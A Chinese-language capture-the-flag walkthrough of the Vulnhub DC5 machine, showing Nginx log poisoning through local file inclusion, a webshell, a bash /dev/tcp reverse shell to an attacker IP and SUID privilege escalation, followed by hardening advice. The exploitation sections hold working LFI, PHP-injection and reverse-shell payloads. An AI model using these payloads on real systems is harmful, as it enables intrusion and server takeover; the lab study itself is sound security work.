Nginx日志文件包含漏洞实战:从LFI到Webshell与权限提升
1. 项目概述从一次真实的Nginx日志文件包含漏洞渗透说起最近在复现Vulnhub的DC5靶机时我遇到了一个非常经典的漏洞组合Nginx日志文件包含漏洞。这不仅仅是CTF靶场里的一个知识点更是真实环境中可能被攻击者利用的致命弱点。很多运维和开发同学对Nginx的配置驾轻就熟却可能忽略了日志文件这个看似无害的“信息记录本”所潜藏的安全风险。这次实战我们就来彻底拆解这个漏洞的原理、利用手法以及最重要的——如何防御。无论你是安全研究员、渗透测试工程师还是负责线上业务的运维开发理解这个漏洞都能让你对Web服务器的安全有更深一层的认识。DC5靶机提供了一个绝佳的沙箱环境让我们可以无风险地模拟攻击链从信息收集到漏洞利用再到权限提升完整走一遍攻击者的思路。2. 漏洞原理深度解析为什么日志文件能被包含2.1 文件包含漏洞的本质要理解Nginx日志文件包含漏洞首先得搞清楚“文件包含”本身。在PHP中include、require、include_once、require_once这些函数的本意是为了代码复用比如把数据库连接配置、页头页尾模板放在单独文件里。但如果开发者不慎将用户可控的输入如$_GET[‘file’]直接拼接到文件路径中并且没有做严格的过滤就会形成文件包含漏洞。攻击者可以利用这个漏洞去包含服务器上的任意文件比如/etc/passwd来读取系统用户信息。但这里有个关键限制被包含的文件内容会被PHP解析器尝试执行。如果你直接包含一个文本文件如日志PHP解析器发现开头不是合法的?php标签就会把文件内容直接输出到页面而不会执行其中的代码。所以传统的文件包含漏洞往往用于读取敏感信息或者配合上传功能包含一个已上传的图片马图片中嵌入了PHP代码。2.2 Nginx日志文件的特殊性Nginx的访问日志通常是/var/log/nginx/access.log记录着每一个HTTP请求的详细信息包括请求方法、URI、HTTP版本、状态码、客户端IP地址以及最重要的——User-Agent头和Referer头等。这些字段的内容完全由客户端控制。漏洞产生的核心链条在于存在文件包含点目标Web应用存在一个本地文件包含LFI漏洞参数可控。日志文件可读Web进程如www-data用户有权限读取Nginx的访问日志文件。日志内容可控攻击者可以通过精心构造HTTP请求将PHP代码注入到日志文件的某个字段如User-Agent中。日志文件被包含攻击者利用LFI漏洞去包含这个日志文件。由于我们注入的内容是完整的PHP代码如?php phpinfo(); ?当该日志文件被include函数加载时其中的PHP代码就会被服务器解析并执行。这样一来原本只是记录文本的日志文件就变成了攻击者存储恶意PHP代码的“临时仓库”再通过文件包含漏洞将其“激活”为Webshell。注意这种利用方式对PHP配置有一定要求。需要allow_url_include设置为Off默认通常是Off因为这是本地文件包含。同时日志文件的路径必须是已知或可猜测的这是信息收集阶段的关键。2.3 与其它文件包含利用方式的对比为了更清晰地理解日志包含漏洞的定位我们可以将其与其它常见利用方式进行对比利用方式前提条件优势劣势包含/proc/self/environ需要/proc文件系统可用且环境变量中有可控内容如HTTP_USER_AGENT。无需额外写入文件。对环境配置依赖较强现代系统限制增多。包含/proc/self/fd/下的文件描述符需要知道文件描述符编号利用条件较为苛刻。一种特殊的利用思路。不稳定难以在实战中预测。包含上传的图片马需要存在文件上传功能且上传后路径可知。直接、稳定代码完全可控。依赖上传功能且可能绕过上传过滤。包含Nginx/Apache日志文件需要Web进程有日志文件读取权限且知道日志路径。无需上传功能通过正常HTTP请求即可“写入”代码。日志文件较大包含可能慢代码注入位置受日志格式限制。利用PHP封装协议如php://input需要allow_url_include设置为On。直接执行POST过去的代码非常灵活。该配置默认Off在安全环境中很少开启。从对比可以看出日志文件包含是一种在缺乏上传点、但存在LFI漏洞时非常可靠且通用的利用手段。3. DC5靶机实战环境搭建与信息收集3.1 靶机环境准备Vulnhub的DC系列靶机以贴近实战著称。DC5靶机镜像下载完成后我通常使用VMware Workstation进行导入。这里有个关键步骤将靶机的网络适配器设置为“NAT模式”或“仅主机模式”确保其与我的Kali攻击机在同一网络段内。启动靶机后它通常会通过DHCP自动获取一个IP地址。我的攻击环境是一台Kali Linux使用netdiscover或nmap进行同一网段的主机发现sudo netdiscover -r 192.168.1.0/24或者更精确地sudo nmap -sn 192.168.1.0/24很快我发现了一个新的主机IP例如192.168.1.105这就是我们的目标DC5靶机。3.2 全方位信息收集信息收集是渗透测试的基石目标越清晰后续攻击路径就越明确。端口扫描与服务识别 使用nmap进行全端口扫描和版本探测。sudo nmap -sV -sC -p- 192.168.1.105 -oN nmap_full.txt-sV探测服务版本。-sC使用默认脚本进行扫描。-p-扫描所有65535个端口。 扫描结果通常显示开放了80端口HTTP和111端口RPCbind。Web服务是我们主要的突破口。Web应用指纹识别 访问http://192.168.1.105是一个简单的页面。查看页面源代码、HTTP响应头使用whatweb或浏览器插件如Wappalyzer进行识别。whatweb http://192.168.1.105确认服务器是Nginx可能没有明显的CMS指纹。这时需要目录扫描。目录与文件枚举 使用gobuster或dirb进行目录爆破寻找隐藏的入口点、后台或敏感文件。gobuster dir -u http://192.168.1.105 -w /usr/share/wordlists/dirb/common.txt -x php,html,txt这个步骤至关重要。在DC5中我们可能会发现诸如contact.php,about.php,index.php等页面。通过观察URL参数寻找可能存在文件包含的点。例如看到index.php?fileabout这样的URL结构就要高度警惕file参数可能存在LFI漏洞。手动测试与参数分析 访问疑似包含点尝试经典的LFI测试Payloadhttp://192.168.1.105/index.php?file../../../../etc/passwd http://192.168.1.105/index.php?filephp://filter/convert.base64-encode/resourceindex.php第二个Payload利用了PHP过滤器即使包含失败也可能通过Base64编码读取到源文件内容帮助我们确认漏洞。在DC5中我们就是通过这种方式确认了file参数存在本地文件包含漏洞。4. 漏洞利用将日志文件变为Webshell4.1 确认日志文件路径利用文件包含漏洞我们首先需要知道Nginx日志的确切路径。常见的路径有/var/log/nginx/access.log/var/log/nginx/error.log/usr/local/nginx/logs/access.log自定义路径可能在Nginx配置文件/etc/nginx/nginx.conf或站点配置/etc/nginx/sites-enabled/default中指定。我们可以通过文件包含漏洞尝试包含这些常见路径。如果包含成功页面上会显示大量的HTTP访问日志记录。在DC5中通常路径就是默认的/var/log/nginx/access.log。4.2 注入PHP代码到日志既然我们可以读取日志下一步就是向日志中“写入”我们的PHP代码。由于我们无法直接修改日志文件但我们可以控制自己发送的HTTP请求。Nginx会把User-Agent请求头的完整内容记录到访问日志中。我们使用curl或Burp Suite来发送一个特殊的请求curl -A ?php system(\$_GET[cmd]); ? http://192.168.1.105/或者使用Burp Suite抓取对靶机首页的请求包将User-Agent头替换为我们的PHP代码GET / HTTP/1.1 Host: 192.168.1.105 User-Agent: ?php system($_GET[cmd]); ? Accept: text/html,application/xhtmlxml,application/xml;q0.9,*/*;q0.8 ...发送这个请求后我们的PHP代码?php system($_GET[‘cmd’]); ?就会被原封不动地记录到/var/log/nginx/access.log文件的某一行中。实操心得这里有一个细节。如果PHP代码中包含引号或特殊字符直接写入日志可能会被转义或截断。为了确保代码被完整记录并能正确执行我通常会使用最简洁的代码或者将代码进行Base64编码后再在Payload中解码执行。例如使用?php eval(base64_decode(c3lzdGVtKCRfR0VUWydjbWQnXSk7));?其中c3lzdGVtKCRfR0VUWydjbWQnXSk7是system($_GET[cmd]);的Base64编码。这能有效绕过一些简单的日志记录过滤。4.3 通过LFI执行日志中的代码代码已经“躺”在日志文件里了现在我们需要通过文件包含漏洞去触发它。构造如下URLhttp://192.168.1.105/index.php?file/var/log/nginx/access.logcmdid这个请求的解析过程是index.php的file参数被赋值为/var/log/nginx/access.log。PHP执行include(‘/var/log/nginx/access.log’)。PHP解析器开始解析日志文件的内容。当它读到我们注入的那一行遇到?php system($_GET[‘cmd’]); ?时会将其作为PHP代码执行。这段代码执行system($_GET[‘cmd’])而cmd参数的值是id。因此服务器执行了system(‘id’)命令并将命令执行结果当前Web进程的用户和组信息输出到网页中。如果页面上显示了uid33(www-data) gid33(www-data) groups33(www-data)类似的内容恭喜你漏洞利用成功你已经获得了在Web服务器上执行任意命令的能力。5. 权限提升从www-data到root5.1 建立稳定的Shell通过LFI执行命令虽然有效但每次都要带着长长的URL很不方便也不稳定。我们需要一个交互式的Shell。有几种常见方法反向Shell在攻击机上监听一个端口然后让靶机主动连接我们。 在Kali上监听nc -lvnp 4444然后通过漏洞执行命令让靶机反弹Shellhttp://192.168.1.105/index.php?file/var/log/nginx/access.logcmdbash -c bash -i /dev/tcp/192.168.1.100/4444 01注意将192.168.1.100替换为你的Kali攻击机IP。如果成功你会在nc终端看到靶机的Shell。Webshell写入一个更强大的Webshell文件到服务器可写目录。 首先找一个可写目录。通常可以尝试/tmp、/var/tmp或者通过find / -type d -writable -user www-data 2/dev/null命令查找。 假设/tmp可写我们可以通过echo命令写入一个简单的Webshellhttp://...cmdecho ?php system($_GET[c]);? /tmp/shell.php然后直接访问http://192.168.1.105/tmp/shell.php?cid来执行命令这样就绕过了复杂的LFI日志包含有了一个独立的“命令执行终端”。5.2 探索提权路径拿到www-data用户的Shell后我们目标是root。在DC5靶机中常见的提权方法之一是SUID提权。查找SUID特权程序 执行find / -type f -perm -4000 -user root 2/dev/null查找所有属于root且设置了SUID位的文件。 SUID位意味着当任何用户执行这个程序时程序会以文件所有者这里是root的权限运行。如果这个程序存在漏洞或者能被我们以某种方式操纵执行任意命令我们就能获得root权限。分析可疑程序 在查找结果中需要重点关注那些非系统核心的、功能复杂的命令。例如screen,vim,find,bash特定版本或者一些自定义的脚本/二进制文件。在DC5中通常会有一个自定义的脚本或程序。利用SUID程序 假设我们发现一个名为/usr/bin/suid_binary的程序具有SUID位。首先用file命令查看其类型用strings查看其中的字符串尝试理解其功能。 一种经典的利用方式是如果这个程序在执行过程中会调用系统命令例如通过system()或popen()并且命令的部分参数我们可控我们就可以尝试进行命令注入。 例如程序内部可能执行system(“echo ” user_input)。如果user_input是我们可控的并且输入过滤不严我们可以输入hello; /bin/bash这样实际执行的命令就是echo hello; /bin/bash分号后的/bin/bash就会以root权限执行。 在DC5的实战中需要仔细分析目标SUID程序的代码或行为。我通常会使用strace来跟踪程序的系统调用观察它到底执行了什么strace /usr/bin/suid_binary 21 | grep -A5 -B5 exec5.3 完成提权与获取Flag通过分析找到SUID程序的利用方法后执行最终的提权命令。成功后会获得一个root权限的Shell。最后在靶机的/root目录下通常可以找到最终的flag文件如flag.txt或proof.txt使用cat命令读取即可完成整个渗透测试流程。6. 防御策略与安全加固建议攻击是为了更好的防御。通过这次实战我们应该深刻认识到以下几点防御措施的重要性杜绝文件包含漏洞输入验证与过滤对包含文件的参数进行严格白名单验证。只允许包含预定义的可信文件列表或只允许包含特定目录如./includes/下的特定后缀文件如.php。避免动态包含如果可能尽量避免使用用户输入直接动态构造文件路径。使用静态映射或选择结构。设置PHP配置将php.ini中的allow_url_include和allow_url_fopen均设置为Off。安全处理Nginx日志更改日志路径与权限不要将Nginx日志存放在Web目录或任何Web进程可读的路径下。将日志目录权限设置为750所有者设为root所属组设为adm或自定义管理组让www-data用户无权读取。chown root:adm /var/log/nginx/ chmod 750 /var/log/nginx/ chown root:adm /var/log/nginx/*.log日志内容过滤考虑使用Nginx的map指令或日志格式化时对User-Agent、Referer等字段中的特殊字符如?php,进行转义或替换防止原始PHP代码被直接记录。但这属于次要的纵深防御措施核心还是防止文件包含。遵循最小权限原则Web服务进程如www-data应以非特权用户身份运行并且其权限被严格限制不能读取敏感系统文件、日志除非必要和配置文件。定期使用类似linpeas、linux-exploit-suggester等脚本进行本地安全检查发现配置不当的SUID/GUID文件、可写目录、sudo权限等。加强系统与网络防护保持更新及时更新操作系统、Nginx、PHP及所有应用组件修复已知漏洞。使用WAF部署Web应用防火墙可以有效拦截包含../、php://等特征的路径遍历和文件包含攻击Payload。日志监控与告警监控Nginx访问日志对异常的、包含大量特殊字符的User-Agent或频繁尝试包含敏感路径的请求进行告警。7. 常见问题与排查技巧实录在实战和教学过程中我遇到过不少坑。这里总结一下希望能帮你少走弯路。包含日志文件后页面空白或报错可能原因日志文件过大PHP执行超时或内存耗尽。解决尝试在包含路径后添加偏移量只包含日志文件的最后几行。例如使用tail命令?file/var/log/nginx/access.logcmdtail -n 50 /var/log/nginx/access.log但注意这需要你的Webshell能执行命令。更直接的方法是在注入代码后快速进行包含避免日志文件滚动log rotation将你的注入记录覆盖到旧文件里。注入的PHP代码在日志中被截断或转义可能原因Nginx配置的日志格式定义了字段长度限制或者某些字符被自动转义。解决使用更简短的Payload。终极方法是使用编码如前文提到的Base64编码配合eval(base64_decode())的方式。也可以尝试注入到Referer头或其他可能限制较少的字段。找不到Nginx日志路径可能原因靶机或目标服务器使用了自定义的日志路径。解决利用已有的LFI漏洞尝试包含Nginx的主配置文件来寻找路径。常见配置文件路径/etc/nginx/nginx.conf,/etc/nginx/sites-enabled/default,/usr/local/nginx/conf/nginx.conf。使用PHP过滤器读取往往更安全?filephp://filter/convert.base64-encode/resource/etc/nginx/nginx.conf。命令执行成功但反向Shell连接不上可能原因靶机出网受限或者防火墙阻断了到攻击机端口的连接。解决尝试其他端口如53, 80, 443这些端口出站限制可能较小。如果完全不出网考虑使用正向Shell攻击机连接靶机但这需要靶机上有nc且能绑定端口。更稳妥的方式是写入一个纯PHP的Webshell通过HTTP请求交互。SUID程序找不到或无法利用可能原因靶机环境不同或者程序有简单的过滤。解决扩大查找范围使用更全面的命令find / -type f -perm -us -o -perm -gs 2/dev/null查找所有SUID和SGID文件。对找到的程序仔细研究其帮助文档、运行参数用ltrace跟踪库函数调用或许能发现像LD_PRELOAD劫持这类更高级的提权方法。这次DC5靶机的渗透从Web漏洞到系统提权完整地再现了一次攻击链。核心的Nginx日志文件包含漏洞利用关键在于理解“数据”和“代码”的边界在特定场景下是如何被模糊的。作为防御方必须时刻牢记任何用户可控的输入都不可信任何非必要的权限都应被收紧。安全是一个持续的过程而非一劳永逸的状态。